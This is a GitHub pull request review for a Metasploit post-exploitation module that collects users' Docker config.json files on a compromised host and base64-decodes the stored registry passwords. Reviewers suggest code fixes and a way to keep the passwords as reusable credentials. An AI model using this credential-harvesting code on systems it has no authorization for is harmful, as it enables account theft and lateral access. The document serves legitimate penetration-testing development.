New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Post module for gather Docker credentials #8774
Conversation
# Array#select! is only in 1.9 | ||
paths = paths.select { |d| directory?(d) } | ||
|
||
if paths.nil? or paths.empty? |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
stick to &&
and ||
instead of and
and or
as per the ruby style guide
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Right, It comes from my inspiration file (gpg_creds
), I will fix it too
file = "config.json" | ||
target = "#{path}/#{file}" | ||
|
||
if file?(target) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
this should be File.file? target
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks!
|
||
def download_loot(paths) | ||
print_status("Looting #{paths.count} directories") | ||
paths.each do |path| |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
you should check if paths is nil here to prevent future bugs
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
But it's check before the call to the function
if paths.nil? || paths.empty?
print_error("No users found with a .docker directory")
return
end
download_loot(paths)
What is better?
ah didn't see that :) it's good as it is
…On Fri, Jul 28, 2017 at 10:12 AM John ***@***.***> wrote:
***@***.**** commented on this pull request.
------------------------------
In modules/post/multi/gather/docker_creds.rb
<#8774 (comment)>
:
> + print_status("Finding .docker directories")
+ paths = enum_user_directories.map {|d| d + "/.docker"}
+ # Array#select! is only in 1.9
+ paths = paths.select { |d| directory?(d) }
+
+ if paths.nil? or paths.empty?
+ print_error("No users found with a .docker directory")
+ return
+ end
+
+ download_loot(paths)
+ end
+
+ def download_loot(paths)
+ print_status("Looting #{paths.count} directories")
+ paths.each do |path|
But it's check before the call to the function
if paths.nil? || paths.empty?
print_error("No users found with a .docker directory")
return
end
download_loot(paths)
What is better?
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
<#8774 (comment)>,
or mute the thread
<https://github.com/notifications/unsubscribe-auth/AQL0LmN3BtTnsj9EX2HxXTo6qtutfUGvks5sSZfxgaJpZM4Oj6oo>
.
|
def extract(target) | ||
file = read_file(target) | ||
parsed = JSON.parse(file) | ||
creds = parsed["auths"]["https://index.docker.io/v1/"]["auth"] |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Won't this result in exceptions when the parsed JSON doesn't have the nested auths
-> https://index.docker.io/v1/
-> auth
? For example, mine currently looks like:
{
"auths": {
"12345.dkr.ecr.us-east-1.amazonaws.com": {}
},
"credsStore": "osxkeychain"
}
In this case it is because I've authenticated to AWS ECR, not docker.io. I suspect the same issue exists for other container repositories.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Really good point, I was thinking that if creds.length > 0
would prevent this, but it wasn't the case, so I added a verification condition!
Thanks!
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Looks good, verification testing in progress. A couple possible improvements are noted here.
if creds.length > 0 | ||
plain = Rex::Text.decode_base64(creds) | ||
print_good("Found #{plain}") | ||
loot_path = store_loot("docker.credentials", "text/plain", session, plain, |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
It would nice to see this stored as a credential vs loot. We all know about password reuse. Having the credential object can be very helpful.
Consider adjustment to:
username, password = plain.split(':')
credential_data = {
origin_type: :import,
module_fullname: self.fullname,
filename: target,
workspace_id: myworkspace_id,
service_name: 'docker',
realm_value: 'https://index.docker.io/v1/',
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
private_type: :password,
private_data: password,
username: username
}
create_credential(credential_data)
While this is not the 100% expected usage for realm
it will produce a nice usable shared credential with output as follows:
msf> creds
Credentials
===========
host origin service public private realm private_type
---- ------ ------- ------ ------- ----- ------------
test test https://index.docker.io/v1/ Password
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Very nice, I had integrated the suggestions! Let me know what you think
Thanks
file = read_file(target) | ||
parsed = JSON.parse(file) | ||
if parsed["auths"] && parsed["auths"]["https://index.docker.io/v1/"] | ||
creds = parsed["auths"]["https://index.docker.io/v1/"]["auth"] |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Given @jhart-r7's feedback may be worth converting to loop thru all keys in parsed["auths"]
and store any nested ['auth']
details that decode.
Keep in mind the impacts looping would have on the realm_value
on the request below for conversion to store the detailed credential.
Release NotesThe Multi Gather Docker Credentials Collection post-exploitation module has been added to the framework. It extracts Docker credentials that are often stored in the Docker config.json configuration file. |
This module will collect the contents of all users' .docker directories on the targeted machine. If the user has already push to docker hub, chances are that the password was saved in base64 (default behavior).
For testing, I have the following
config.json
file on my~/.docker
The above example is
flibustier:baguette
, corresponding tousername:password
Verification
List the steps needed to make sure this thing works
msfconsole
use post/multi/gather/docker_creds
set session SESSION
run
~/.docker/config.json